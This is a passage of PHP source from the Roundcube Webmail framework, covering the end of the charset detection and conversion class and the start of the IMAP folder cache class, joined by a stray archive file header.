     * This includes UTF-32, UTF-16, RCUBE_CHARSET and default_charset.
     *
     * @param string $str      Input string
     * @param array  $charsets Suspected charsets of the input string
     *
     * @return string|null First matching charset
     */
    public static function check($str, $charsets = [])
    {
        $chunk = strlen($str) > 100 * 1024 ? substr($str, 0, 100 * 1024) : $str;

        // Add dehault charset, system charset and easily detectable charset to the list
        if (substr($chunk, 0, 4) == "\0\0\xFE\xFF") $charsets[] = 'UTF-32BE';
        if (substr($chunk, 0, 4) == "\xFF\xFE\0\0") $charsets[] = 'UTF-32LE';
        if (substr($chunk, 0, 2) == "\xFE\xFF")     $charsets[] = 'UTF-16BE';
        if (substr($chunk, 0, 2) == "\xFF\xFE")     $charsets[] = 'UTF-16LE';

        // heuristics
        if (preg_match('/\x00\x00\x00[^\x00]/', $chunk))    $charsets[] = 'UTF-32BE';
        if (preg_match('/[^\x00]\x00\x00\x00/', $chunk))    $charsets[] = 'UTF-32LE';
        if (preg_match('/\x00[^\x00]\x00[^\x00]/', $chunk)) $charsets[] = 'UTF-16BE';
        if (preg_match('/[^\x00]\x00[^\x00]\x00/', $chunk)) $charsets[] = 'UTF-16LE';

        $charsets[] = RCUBE_CHARSET;
        $charsets[] = (string) rcube::get_instance()->config->get('default_charset');

        $charsets = array_map(['rcube_charset', 'parse_charset'], $charsets);
        $charsets = array_unique(array_filter($charsets));

        foreach ($charsets as $charset) {
            $ret = self::convert($chunk, $charset);

            if ($ret === rcube_charset::clean($ret)) {
                return $charset;
            }
        }
    }

    /**
     * Converts string from standard UTF-7 (RFC 2152) to UTF-8.
     *
     * @param string $str Input string (UTF-7)
     *
     * @return string Converted string (UTF-8)
     * @deprecated use self::convert()
     */
    public static function utf7_to_utf8($str)
    {
        return self::convert($str, 'UTF-7', 'UTF-8');
    }

    /**
     * Converts string from UTF-16 to UTF-8 (helper for utf-7 to utf-8 conversion)
     *
     * @param string $str Input string
     *
     * @return string The converted string
     * @deprecated use self::convert()
     */
    public static function utf16_to_utf8($str)
    {
        return self::convert($str, 'UTF-16BE', 'UTF-8');
    }

    /**
     * Convert the data ($str) from RFC 2060's UTF-7 to UTF-8.
     * If input data is invalid, return the original input string.
     * RFC 2060 obviously intends the encoding to be unique (see
     * point 5 in section 5.1.3), so we reject any non-canonical
     * form, such as &ACY- (instead of &-) or &AMA-&AMA- (instead
     * of &AMAAwA-).
     *
     * @param string $str Input string (UTF7-IMAP)
     *
     * @return string Output string (UTF-8)
     * @deprecated use self::convert()
     */
    public static function utf7imap_to_utf8($str)
    {
        return self::convert($str, 'UTF7-IMAP', 'UTF-8');
    }

    /**
     * Convert the data ($str) from UTF-8 to RFC 2060's UTF-7.
     * Unicode characters above U+FFFF are replaced by U+FFFE.
     * If input data is invalid, return an empty string.
     *
     * @param string $str Input string (UTF-8)
     *
     * @return string Output string (UTF7-IMAP)
     * @deprecated use self::convert()
     */
    public static function utf8_to_utf7imap($str)
    {
        return self::convert($str, 'UTF-8', 'UTF7-IMAP');
    }

    /**
     * A method to guess character set of a string.
     *
     * @param string $string   String
     * @param string $failover Default result for failover
     * @param string $language User language
     *
     * @return string Charset name
     * @deprecated
     */
    public static function detect($string, $failover = null, $language = null)
    {
        if (substr($string, 0, 4) == "\0\0\xFE\xFF") return 'UTF-32BE';  // Big Endian
        if (substr($string, 0, 4) == "\xFF\xFE\0\0") return 'UTF-32LE';  // Little Endian
        if (substr($string, 0, 2) == "\xFE\xFF")     return 'UTF-16BE';  // Big Endian
        if (substr($string, 0, 2) == "\xFF\xFE")     return 'UTF-16LE';  // Little Endian
        if (substr($string, 0, 3) == "\xEF\xBB\xBF") return 'UTF-8';

        // heuristics
        if (strlen($string) >= 4) {
            if ($string[0] == "\0" && $string[1] == "\0" && $string[2] == "\0" && $string[3] != "\0") return 'UTF-32BE';
            if ($string[0] != "\0" && $string[1] == "\0" && $string[2] == "\0" && $string[3] == "\0") return 'UTF-32LE';
            if ($string[0] == "\0" && $string[1] != "\0" && $string[2] == "\0" && $string[3] != "\0") return 'UTF-16BE';
            if ($string[0] != "\0" && $string[1] == "\0" && $string[2] != "\0" && $string[3] == "\0") return 'UTF-16LE';
        }

        if (empty($language)) {
            $rcube    = rcube::get_instance();
            $language = $rcube->get_user_language();
        }

        // Prioritize charsets according to the current language (#1485669)
        $prio = null;
        switch ($language) {
        case 'ja_JP':
            $prio = ['ISO-2022-JP', 'JIS', 'UTF-8', 'EUC-JP', 'eucJP-win', 'SJIS'];
            break;

        case 'zh_CN':
        case 'zh_TW':
            $prio = ['UTF-8', 'BIG-5', 'EUC-TW', 'GB18030'];
            break;

        case 'ko_KR':
            $prio = ['UTF-8', 'EUC-KR', 'ISO-2022-KR'];
            break;

        case 'ru_RU':
            $prio = ['UTF-8', 'WINDOWS-1251', 'KOI8-R'];
            break;

        case 'tr_TR':
            $prio = ['UTF-8', 'ISO-8859-9', 'WINDOWS-1254'];
            break;
        }

        // mb_detect_encoding() is not reliable for some charsets (#1490135)
        // use mb_check_encoding() to make charset priority lists really working
        if (!empty($prio) && function_exists('mb_check_encoding')) {
            foreach ($prio as $encoding) {
                if (mb_check_encoding($string, $encoding)) {
                    return $encoding;
                }
            }
        }

        if (function_exists('mb_detect_encoding')) {
            $exclude = 'BASE64,UUENCODE,HTML-ENTITIES,Quoted-Printable,'
                . '7bit,8bit,pass,wchar,byte2be,byte2le,byte4be,byte4le,'
                . 'UCS-4,UCS-4BE,UCS-4LE,UCS-2,UCS-2BE,UCS-2LE';

            if (empty($prio)) {
                $prio = [
                    'UTF-8',
                    'ISO-8859-1', 'ISO-8859-2', 'ISO-8859-3', 'ISO-8859-4',
                    'ISO-8859-5', 'ISO-8859-6', 'ISO-8859-7', 'ISO-8859-8', 'ISO-8859-9',
                    'ISO-8859-10', 'ISO-8859-13', 'ISO-8859-14', 'ISO-8859-15', 'ISO-8859-16',
                    'WINDOWS-1252', 'WINDOWS-1251', 'WINDOWS-1254',
                    'EUC-JP', 'EUC-TW', 'KOI8-R', 'BIG-5', 'ISO-2022-KR', 'ISO-2022-JP', 'GB18030',
                ];
            }

            // We have to remove unwanted/uncommon encodings from the list.
            // This is needed especially on PHP >= 8.1
            $all_encodings = array_diff(mb_list_encodings(), explode(',', $exclude));

            $encodings = array_unique(array_merge($prio, $all_encodings));

            if ($encoding = mb_detect_encoding($string, $encodings, true)) {
                return $encoding;
            }
        }

        // No match, check for UTF-8
        // from http://w3.org/International/questions/qa-forms-utf-8.html
        if (preg_match('/\A(
            [\x09\x0A\x0D\x20-\x7E]
            | [\xC2-\xDF][\x80-\xBF]
            | \xE0[\xA0-\xBF][\x80-\xBF]
            | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}
            | \xED[\x80-\x9F][\x80-\xBF]
            | \xF0[\x90-\xBF][\x80-\xBF]{2}
            | [\xF1-\xF3][\x80-\xBF]{3}
            | \xF4[\x80-\x8F][\x80-\xBF]{2}
            )*\z/xs', substr($string, 0, 2048))
        ) {
            return 'UTF-8';
        }

        return $failover;
    }

    /**
     * Removes non-unicode characters from input.
     * If the input is an array, both values and keys will be cleaned up.
     *
     * @param mixed $input String or array.
     *
     * @return mixed String or array
     */
    public static function clean($input)
    {
        // handle input of type array
        if (is_array($input)) {
            foreach (array_keys($input) as $key) {
                $k = is_string($key) ? self::clean($key) : $key;
                $v = self::clean($input[$key]);

                if ($k !== $key) {
                    unset($input[$key]);
                    if (!array_key_exists($k, $input)) {
                        $input[$k] = $v;
                    }
                }
                else {
                    $input[$k] = $v;
                }
            }
            return $input;
        }

        if (!is_string($input) || $input == '') {
            return $input;
        }

        $msch = mb_substitute_character();
        mb_substitute_character('none');
        $res = mb_convert_encoding($input, 'UTF-8', 'UTF-8');
        mb_substitute_character($msch);

        return $res;
    }
}
PK
h�\>�¤O�O�*program/lib/Roundcube/rcube_imap_cache.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Caching of IMAP folder contents (messages and index)                |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Interface class for accessing Roundcube messages cache
 *
 * @package    Framework
 * @subpackage Storage
 */
class rcube_imap_cache
{
    const MODE_INDEX   = 1;
    const MODE_MESSAGE = 2;

    /**
     * Instance of rcube_imap
     *
     * @var rcube_imap
     */
    private $imap;

    /**
     * Instance of rcube_db
     *
     * @var rcube_db
     */
    private $db;

    /**
     * User ID
     *
     * @var int
     */
    private $userid;

    /**
     * Expiration time in seconds
     *
     * @var int
     */
    private $ttl;

    /**
     * Maximum cached message size
     *
     * @var int
     */
    private $threshold;

    /**
     * Internal (in-memory) cache
     *
     * @var array
     */
    private $icache = [];

    private $skip_deleted = false;
    private $mode;
    private $index_table;
    private $thread_table;
    private $messages_table;

    /**
     * List of known flags. Thanks to this we can handle flag changes
     * with good performance. Bad thing is we need to know used flags.
     */
    public $flags = [
        1       => 'SEEN',          // RFC3501
        2       => 'DELETED',       // RFC3501
        4       => 'ANSWERED',      // RFC3501
        8       => 'FLAGGED',       // RFC3501
        16      => 'DRAFT',         // RFC3501
        32      => 'MDNSENT',       // RFC3503
        64      => 'FORWARDED',     // RFC5550
        128     => 'SUBMITPENDING', // RFC5550
        256     => 'SUBMITTED',     // RFC5550
        512     => 'JUNK',
        1024    => 'NONJUNK',
        2048    => 'LABEL1',
        4096    => 'LABEL2',
        8192    => 'LABEL3',
        16384   => 'LABEL4',
        32768   => 'LABEL5',
        65536   => 'HASATTACHMENT',
        131072  => 'HASNOATTACHMENT',
    ];


    /**
     * Object constructor.
     *
     * @param rcube_db   $db           DB handler
     * @param rcube_imap $imap         IMAP handler
     * @param int        $userid       User identifier
     * @param bool       $skip_deleted skip_deleted flag
     * @param string     $ttl          Expiration time of memcache/apc items
     * @param int        $threshold    Maximum cached message size
     */
    function __construct($db, $imap, $userid, $skip_deleted, $ttl = 0, $threshold = 0)
    {
        // convert ttl string to seconds
        $ttl = get_offset_sec($ttl);
        if ($ttl > 2592000) $ttl = 2592000;

        $this->db           = $db;
        $this->imap         = $imap;
        $this->userid       = $userid;
        $this->skip_deleted = $skip_deleted;
        $this->ttl          = $ttl;
        $this->threshold    = $threshold;

        // cache all possible information by default
        $this->mode = self::MODE_INDEX | self::MODE_MESSAGE;

        // database tables
        $this->index_table    = $db->table_name('cache_index', true);
        $this->thread_table   = $db->table_name('cache_thread', true);
        $this->messages_table = $db->table_name('cache_messages', true);
    }

    /**
     * Cleanup actions (on shutdown).
     */
    public function close()
    {
        $this->save_icache();
        $this->icache = null;
    }

    /**
     * Set cache mode
     *
     * @param int $mode Cache mode
     */
    public function set_mode($mode)
    {
        $this->mode = $mode;
    }

    /**
     * Return (sorted) messages index (UIDs).
     * If index doesn't exist or is invalid, will be updated.
     *
     * @param string $mailbox    Folder name
     * @param string $sort_field Sorting column
     * @param string $sort_order Sorting order (ASC|DESC)
     * @param bool   $existing   Skip index initialization if it doesn't exist in DB
     *
     * @return array Messages index
     */
    function get_index($mailbox, $sort_field = null, $sort_order = null, $existing = false)
    {
        if (empty($this->icache[$mailbox])) {
            $this->icache[$mailbox] = [];
        }

        $sort_order = strtoupper($sort_order) == 'ASC' ? 'ASC' : 'DESC';

        // Seek in internal cache
        if (array_key_exists('index', $this->icache[$mailbox])) {
            // The index was fetched from database already, but not validated yet
            if (empty($this->icache[$mailbox]['index']['validated'])) {
                $index = $this->icache[$mailbox]['index'];
            }
            // We've got a valid index
            else if ($sort_field == 'ANY' || $this->icache[$mailbox]['index']['sort_field'] == $sort_field) {
                $result = $this->icache[$mailbox]['index']['object'];
                if ($result->get_parameters('ORDER') != $sort_order) {
                    $result->revert();
                }
                return $result;
            }
        }

        // Get index from DB (if DB wasn't already queried)
        if (empty($index) && empty($this->icache[$mailbox]['index_queried'])) {
            $index = $this->get_index_row($mailbox);

            // set the flag that DB was already queried for index
            // this way we'll be able to skip one SELECT, when
            // get_index() is called more than once
            $this->icache[$mailbox]['index_queried'] = true;
        }

        $data = null;

        // @TODO: Think about skipping validation checks.
        // If we could check only every 10 minutes, we would be able to skip
        // expensive checks, mailbox selection or even IMAP connection, this would require
        // additional logic to force cache invalidation in some cases
        // and many rcube_imap changes to connect when needed

        // Entry exists, check cache status
        if (!empty($index)) {
            $exists = true;
            $modseq = $index['modseq'] ?? null;
            $isf    = $index['sort_field'] ?? '';

            if ($sort_field == 'ANY') {
                $sort_field = $isf;
            }

            if ($sort_field != $isf) {
                $is_valid = false;
            }
            else {
                $is_valid = $this->validate($mailbox, $index, $exists);
            }

            if ($is_valid) {
                $data = $index['object'];
                // revert the order if needed
                if ($data->get_parameters('ORDER') != $sort_order) {
                    $data->revert();
                }
            }
        }
        else {
            if ($existing) {
                return null;
            }

            if ($sort_field == 'ANY') {
                $sort_field = '';
            }

            // Got it in internal cache, so the row already exist
            $exists = array_key_exists('index', $this->icache[$mailbox]);

            $modseq = null;
        }

        // Index not found, not valid or sort field changed, get index from IMAP server
        if ($data === null) {
            // Get mailbox data (UIDVALIDITY, counters, etc.) for status check
            $mbox_data = $this->imap->folder_data($mailbox);
            $data      = $this->get_index_data($mailbox, $sort_field, $sort_order, $mbox_data);

            if (isset($mbox_data['HIGHESTMODSEQ'])) {
                $modseq = $mbox_data['HIGHESTMODSEQ'];
            }

            // insert/update
            $this->add_index_row($mailbox, $sort_field, $data, $mbox_data, $exists, $modseq);
        }

        $this->icache[$mailbox]['index'] = [
            'validated'  => true,
            'object'     => $data,
            'sort_field' => $sort_field,
            'modseq'     => $modseq
        ];

        return $data;
    }

    /**
     * Return messages thread.
     * If threaded index doesn't exist or is invalid, will be updated.
     *
     * @param string $mailbox Folder name
     *
     * @return array Messages threaded index
     */
    function get_thread($mailbox)
    {
        if (empty($this->icache[$mailbox])) {
            $this->icache[$mailbox] = [];
        }

        // Seek in internal cache
        if (array_key_exists('thread', $this->icache[$mailbox])) {
            return $this->icache[$mailbox]['thread']['object'];
        }

        $index = null;

        // Get thread from DB (if DB wasn't already queried)
        if (empty($this->icache[$mailbox]['thread_queried'])) {
            $index = $this->get_thread_row($mailbox);

            // set the flag that DB was already queried for thread
            // this way we'll be able to skip one SELECT, when
            // get_thread() is called more than once or after clear()
            $this->icache[$mailbox]['thread_queried'] = true;
        }

        // Entry exist, check cache status
        if (!empty($index)) {
            $exists   = true;
            $is_valid = $this->validate($mailbox, $index, $exists);

            if (!$is_valid) {
                $index = null;
            }
        }

        // Index not found or not valid, get index from IMAP server
        if ($index === null) {
            // Get mailbox data (UIDVALIDITY, counters, etc.) for status check
            $mbox_data = $this->imap->folder_data($mailbox);
            // Get THREADS result
            $index['object'] = $this->get_thread_data($mailbox, $mbox_data);

            // insert/update
            $this->add_thread_row($mailbox, $index['object'], $mbox_data, !empty($exists));
        }

        $this->icache[$mailbox]['thread'] = $index;

        return $index['object'];
    }

    /**
     * Returns list of messages (headers). See rcube_imap::fetch_headers().
     *
     * @param string $mailbox  Folder name
     * @param array  $msgs     Message UIDs
     *
     * @return array The list of messages (rcube_message_header) indexed by UID
     */
    function get_messages($mailbox, $msgs = [])
    {
        $result = [];

        if (empty($msgs)) {
            return $result;
        }

        if ($this->mode & self::MODE_MESSAGE) {
            // Fetch messages from cache
            $sql_result = $this->db->query(
                "SELECT `uid`, `data`, `flags`"
                ." FROM {$this->messages_table}"
                ." WHERE `user_id` = ?"
                    ." AND `mailbox` = ?"
                    ." AND `uid` IN (".$this->db->array2list($msgs, 'integer').")",
                $this->userid, $mailbox);

            $msgs = array_flip($msgs);

            while ($sql_arr = $this->db->fetch_assoc($sql_result)) {
                $uid          = intval($sql_arr['uid']);
                $result[$uid] = $this->build_message($sql_arr);

                if (!empty($result[$uid])) {
                    // save memory, we don't need message body here (?)
                    $result[$uid]->body = null;

                    unset($msgs[$uid]);
                }
            }

            $this->db->reset();

            $msgs = array_flip($msgs);
        }

        // Fetch not found messages from IMAP server
        if (!empty($msgs)) {
            $messages = $this->imap->fetch_headers($mailbox, $msgs, false, true);

            // Insert to DB and add to result list
            if (!empty($messages)) {
                foreach ($messages as $msg) {
                    if ($this->mode & self::MODE_MESSAGE) {
                        $this->add_message($mailbox, $msg, !array_key_exists($msg->uid, $result));
                    }

                    $result[$msg->uid] = $msg;
                }
            }
        }

        return $result;
    }

    /**
     * Returns message data.
     *
     * @param string $mailbox Folder name
     * @param int    $uid     Message UID
     * @param bool   $update  If message doesn't exists in cache it will be fetched
     *                        from IMAP server
     * @param bool   $cache   Enables internal cache usage
     *
     * @return rcube_message_header Message data
     */
    function get_message($mailbox, $uid, $update = true, $cache = true)
    {
        // Check internal cache
        if (!empty($this->icache['__message'])
            && $this->icache['__message']['mailbox'] == $mailbox
            && $this->icache['__message']['object']->uid == $uid
        ) {
            return $this->icache['__message']['object'];
        }

        $message = null;
        $found   = false;

        if ($this->mode & self::MODE_MESSAGE) {
            $sql_result = $this->db->query(
                "SELECT `flags`, `data`"
                ." FROM {$this->messages_table}"
                ." WHERE `user_id` = ?"
                    ." AND `mailbox` = ?"
                    ." AND `uid` = ?",
                    $this->userid, $mailbox, (int)$uid);

            if ($sql_arr = $this->db->fetch_assoc($sql_result)) {
                $message = $this->build_message($sql_arr);
                $found   = true;
            }
        }

        // Get the message from IMAP server
        if (empty($message) && $update) {
            $message = $this->imap->get_message_headers($uid, $mailbox, true);
            // cache will be updated in close(), see below
        }

        if (!($this->mode & self::MODE_MESSAGE)) {
            return $message;
        }

        // Save the message in internal cache, will be written to DB in close()
        // Common scenario: user opens unseen message
        // - get message (SELECT)
        // - set message headers/structure (INSERT or UPDATE)
        // - set \Seen flag (UPDATE)
        // This way we can skip one UPDATE
        if (!empty($message) && $cache) {
            // Save current message from internal cache
            $this->save_icache();

            $this->icache['__message'] = [
                'object'  => $message,
                'mailbox' => $mailbox,
                'exists'  => $found,
                'md5sum'  => md5(serialize($message)),
            ];
        }

        return $message;
    }

    /**
     * Saves the message in cache.
     *
     * @param string               $mailbox  Folder name
     * @param rcube_message_header $message  Message data
     * @param bool                 $force    Skips message in-cache existence check
     */
    function add_message($mailbox, $message, $force = false)
    {
        if (!is_object($message) || empty($message->uid)) {
            return;
        }

        if (!($this->mode & self::MODE_MESSAGE)) {
            return;
        }

        $flags = 0;
        $msg   = clone $message;

        if (!empty($message->flags)) {
            foreach ($this->flags as $idx => $flag) {
                if (!empty($message->flags[$flag])) {
                    $flags += $idx;
                }
            }
        }

        unset($msg->flags);

        $msg     = $this->db->encode($msg, true);
        $expires = $this->db->param($this->ttl ? $this->db->now($this->ttl) : 'NULL', rcube_db::TYPE_SQL);

        $this->db->insert_or_update(
            $this->messages_table,
            ['user_id' => $this->userid, 'mailbox' => $mailbox, 'uid' => (int) $message->uid],
            ['flags', 'expires', 'data'],
            [$flags, $expires, $msg]
        );
    }

    /**
     * Sets the flag for specified message.
     *
     * @param string  $mailbox  Folder name
     * @param array   $uids     Message UIDs or null to change flag
     *                          of all messages in a folder
     * @param string  $flag     The name of the flag
     * @param bool    $enabled  Flag state
     */
    function change_flag($mailbox, $uids, $flag, $enabled = false)
    {
        if (empty($uids)) {
            return;
        }

        if (!($this->mode & self::MODE_MESSAGE)) {
            return;
        }

        $flag = strtoupper($flag);
        $idx  = (int) array_search($flag, $this->flags);
        $uids = (array) $uids;

        if (!$idx) {
            return;
        }

        // Internal cache update
        if (
            !empty($this->icache['__message'])
            && ($message = $this->icache['__message'])
            && $message['mailbox'] === $mailbox
            && in_array($message['object']->uid, $uids)
        ) {
            $message['object']->flags[$flag] = $enabled;

            if (count($uids) == 1) {
                return;
            }
        }

        $binary_check = $this->db->db_provider == 'oracle' ? "BITAND(`flags`, %d)" : "(`flags` & %d)";

        $this->db->query(
            "UPDATE {$this->messages_table}"
            ." SET `expires` = ". ($this->ttl ? $this->db->now($this->ttl) : 'NULL')
            .", `flags` = `flags` ".($enabled ? "+ $idx" : "- $idx")
            ." WHERE `user_id` = ?"
                ." AND `mailbox` = ?"
                .(!empty($uids) ? " AND `uid` IN (".$this->db->array2list($uids, 'integer').")" : "")
                ." AND " . sprintf($binary_check, $idx) . ($enabled ? " = 0" : " = $idx"),
            $this->userid, $mailbox
        );
    }

    /**
     * Removes message(s) from cache.
     *
     * @param string $mailbox  Folder name
     * @param array  $uids     Message UIDs, NULL removes all messages
     */
    function remove_message($mailbox = null, $uids = null)
    {
        if (!($this->mode & self::MODE_MESSAGE)) {
            return;
        }

        if (!strlen($mailbox)) {
            $this->db->query(
                "DELETE FROM {$this->messages_table}"
                ." WHERE `user_id` = ?",
                $this->userid);
        }
        else {
            // Remove the message from internal cache
            if (
                !empty($uids)
                && !empty($this->icache['__message'])
                && ($message = $this->icache['__message'])
                && $message['mailbox'] === $mailbox
                && in_array($message['object']->uid, (array) $uids)
            ) {
                $this->icache['__message'] = null;
            }

            $this->db->query(
                "DELETE FROM {$this->messages_table}"
                ." WHERE `user_id` = ?"
                    ." AND `mailbox` = ?"
                    .($uids !== null ? " AND `uid` IN (".$this->db->array2list((array)$uids, 'integer').")" : ""),
                $this->userid, $mailbox
            );
        }
    }

    /**
     * Clears index cache.
     *
     * @param string  $mailbox     Folder name
     * @param bool    $remove      Enable to remove the DB row
     */
    function remove_index($mailbox = null, $remove = false)
    {
        if (!($this->mode & self::MODE_INDEX)) {
            return;
        }

        // The index should be only removed from database when
        // UIDVALIDITY was detected or the mailbox is empty
        // otherwise use 'valid' flag to not loose HIGHESTMODSEQ value
        if ($remove) {
            $this->db->query(
                "DELETE FROM {$this->index_table}"
                ." WHERE `user_id` = ?"
                    .(strlen($mailbox) ? " AND `mailbox` = ".$this->db->quote($mailbox) : ""),
                $this->userid
            );
        }
        else {
            $this->db->query(
                "UPDATE {$this->index_table}"
                ." SET `valid` = 0"
                ." WHERE `user_id` = ?"
                    .(strlen($mailbox) ? " AND `mailbox` = ".$this->db->quote($mailbox) : ""),
                $this->userid
            );
        }

        if (strlen($mailbox)) {
            unset($this->icache[$mailbox]['index']);
            // Index removed, set flag to skip SELECT query in get_index()
            $this->icache[$mailbox]['index_queried'] = true;
        }
        else {
            $this->icache = [];
        }
    }

    /**
     * Clears thread cache.
     *
     * @param string $mailbox Folder name
     */
    function remove_thread($mailbox = null)
    {
        if (!($this->mode & self::MODE_INDEX)) {
            return;
        }

        $this->db->query(
            "DELETE FROM {$this->thread_table}"
            ." WHERE `user_id` = ?"
                .(strlen($mailbox) ? " AND `mailbox` = ".$this->db->quote($mailbox) : ""),
            $this->userid
        );

        if (strlen($mailbox)) {
            unset($this->icache[$mailbox]['thread']);
            // Thread data removed, set flag to skip SELECT query in get_thread()
            $this->icache[$mailbox]['thread_queried'] = true;
        }
        else {
            $this->icache = [];
        }
    }

    /**
     * Clears the cache.
     *
     * @param string $mailbox  Folder name
     * @param array  $uids     Message UIDs, NULL removes all messages in a folder
     */
    function clear($mailbox = null, $uids = null)
    {
        $this->remove_index($mailbox, true);
        $this->remove_thread($mailbox);
        $this->remove_message($mailbox, $uids);
    }

    /**
     * Delete expired cache entries
     */
    static function gc()
    {
        $rcube = rcube::get_instance();
        $db    = $rcube->get_dbh();
        $now   = $db->now();

        $db->query("DELETE FROM " . $db->table_name('cache_messages', true)
              ." WHERE `expires` < $now");

        $db->query("DELETE FROM " . $db->table_name('cache_index', true)
              ." WHERE `expires` < $now");

        $db->query("DELETE FROM ".$db->table_name('cache_thread', true)
              ." WHERE `expires` < $now");
    }

    /**
     * Fetches index data from database
     */
    private function get_index_row($mailbox)
    {
        if (!($this->mode & self::MODE_INDEX)) {
            return;
        }

        // Get index from DB
        $sql_result = $this->db->query(
            "SELECT `data`, `valid`"
            ." FROM {$this->index_table}"
            ." WHERE `user_id` = ?"
                ." AND `mailbox` = ?",
            $this->userid, $mailbox
        );

        if ($sql_arr = $this->db->fetch_assoc($sql_result)) {
            $data  = explode('@', $sql_arr['data']);
            $index = $this->db->decode($data[0], true);
            unset($data[0]);

            if (empty($index)) {
                $index = new rcube_result_index($mailbox);
            }

            return [
                'valid'      => $sql_arr['valid'],
                'object'     => $index,
                'sort_field' => $data[1],
                'deleted'    => $data[2],
                'validity'   => $data[3],
                'uidnext'    => $data[4],
                'modseq'     => $data[5],
            ];
        }
    }

    /**
     * Fetches thread data from database
     */
    private function get_thread_row($mailbox)
    {
        if (!($this->mode & self::MODE_INDEX)) {
            return;
        }

        // Get thread from DB
        $sql_result = $this->db->query(
            "SELECT `data`"
            ." FROM {$this->thread_table}"
            ." WHERE `user_id` = ?"
                ." AND `mailbox` = ?",
            $this->userid, $mailbox);

        if ($sql_arr = $this->db->fetch_assoc($sql_result)) {
            $data   = explode('@', $sql_arr['data']);
            $thread = $this->db->decode($data[0], true);
            unset($data[0]);

            if (empty($thread)) {
                $thread = new rcube_result_thread($mailbox);
            }

            return [
                'object'   => $thread,
                'deleted'  => $data[1],
                'validity' => $data[2],
                'uidnext'  => $data[3],
            ];
        }
    }

    /**
     * Saves index data into database
     */
    private function add_index_row($mailbox, $sort_field, $data, $mbox_data = [], $exists = false, $modseq = null)
    {
        if (!($this->mode & self::MODE_INDEX)) {
            return;
        }

        $data = [
            $this->db->encode($data, true),
            $sort_field,
            (int) $this->skip_deleted,
            (int) $mbox_data['UIDVALIDITY'],
            (int) $mbox_data['UIDNEXT'],
            $modseq ?: ($mbox_data['HIGHESTMODSEQ'] ?? ''),
        ];

        $data    = implode('@', $data);
        $expires = $this->db->param($this->ttl ? $this->db->now($this->ttl) : 'NULL', rcube_db::TYPE_SQL);

        $this->db->insert_or_update(
            $this->index_table,
            ['user_id' => $this->userid, 'mailbox' => $mailbox],
            ['valid', 'expires', 'data'],
            [1, $expires, $data]
        );
    }

    /**
     * Saves thread data into database
     */
    private function add_thread_row($mailbox, $data, $mbox_data = [], $exists = false)
    {
        if (!($this->mode & self::MODE_INDEX)) {
            return;
        }

        $data = [
            $this->db->encode($data, true),
            (int) $this->skip_deleted,
            (int) $mbox_data['UIDVALIDITY'],
            (int) $mbox_data['UIDNEXT'],
        ];

        $data    = implode('@', $data);
        $expires = $this->db->param($this->ttl ? $this->db->now($this->ttl) : 'NULL', rcube_db::TYPE_SQL);

        $this->db->insert_or_update(
            $this->thread_table,
            ['user_id' => $this->userid, 'mailbox' => $mailbox],
            ['expires', 'data'],
            [$expires, $data]
        );
    }

    /**
     * Checks index/thread validity
     */
    private function validate($mailbox, $index, &$exists = true)
    {
        $object    = $index['object'];
        $is_thread = is_a($object, 'rcube_result_thread');

        // sanity check
        if (empty($object)) {
            return false;
        }

        $index['validated'] = true;

        // Get mailbox data (UIDVALIDITY, counters, etc.) for status check
        $mbox_data = $this->imap->folder_data($mailbox);

        // @TODO: Think about skipping validation checks.
        // If we could check only every 10 minutes, we would be able to skip
        // expensive checks, mailbox selection or even IMAP connection, this would require
        // additional logic to force cache invalidation in some cases
        // and many rcube_imap changes to connect when needed

        // Check UIDVALIDITY
        if (empty($index['validity']) || $index['validity'] != $mbox_data['UIDVALIDITY']) {
            $this->clear($mailbox);
            $exists = false;
            return false;
        }

        // Folder is empty but cache isn't
        if (empty($mbox_data['EXISTS'])) {
            if (!$object->is_empty()) {
                $this->clear($mailbox);
                $exists = false;
                return false;
            }
        }
        // Folder is not empty but cache is
        else if ($object->is_empty()) {
            unset($this->icache[$mailbox][$is_thread ? 'thread' : 'index']);
            return false;
        }

        // Validation flag
        if (!$is_thread && empty($index['valid'])) {
            unset($this->icache[$mailbox]['index']);
            return false;
        }

        // Index was created with different skip_deleted setting
        if ($this->skip_deleted != $index['deleted']) {
            return false;
        }

        // Check HIGHESTMODSEQ
        if (!empty($index['modseq']) && !empty($mbox_data['HIGHESTMODSEQ'])
            && $index['modseq'] == $mbox_data['HIGHESTMODSEQ']
        ) {
            return true;
        }

        // Check UIDNEXT
        if ($index['uidnext'] != $mbox_data['UIDNEXT']) {
            unset($this->icache[$mailbox][$is_thread ? 'thread' : 'index']);
            return false;
        }

        // @TODO: find better validity check for threaded index
        if ($is_thread) {
            // check messages number...
            if (!$this->skip_deleted && $mbox_data['EXISTS'] != $object->count_messages()) {
                return false;
            }
            return true;
        }

        // The rest of checks, more expensive
        if (!empty($this->skip_deleted)) {
            // compare counts if available
            if (!empty($mbox_data['UNDELETED'])
                && $mbox_data['UNDELETED']->count() != $object->count()
            ) {
                return false;
            }

            // compare UID sets
            if (!empty($mbox_data['UNDELETED'])) {
                $uids_new = $mbox_data['UNDELETED']->get();
                $uids_old = $object->get();

                if (count($uids_new) != count($uids_old)) {
                    return false;
                }

                sort($uids_new, SORT_NUMERIC);
                sort($uids_old, SORT_NUMERIC);

                if ($uids_old != $uids_new) {
                    return false;
                }
            }
            else if ($object->is_empty()) {
                // We have to run ALL UNDELETED search anyway for this case, so we can
                // return early to skip the following search command.
                return false;
            }
            else {
                // get all undeleted messages excluding cached UIDs
                $existing = rcube_imap_generic::compressMessageSet($object->get());
                $ids = $this->imap->search_once($mailbox, "ALL UNDELETED NOT UID $existing");

                if (!$ids->is_empty()) {
                    return false;
                }
            }
        }
        else {
            // check messages number...
            if ($mbox_data['EXISTS'] != $object->count()) {
                return false;
            }
            // ... and max UID
            if ($object->max() != $this->imap->id2uid($mbox_data['EXISTS'], $mailbox)) {
                return false;
            }
        }

        return true;
    }

    /**
     * Synchronizes the mailbox.
     *
     * @param string $mailbox Folder name
     */
    function synchronize($mailbox)
    {
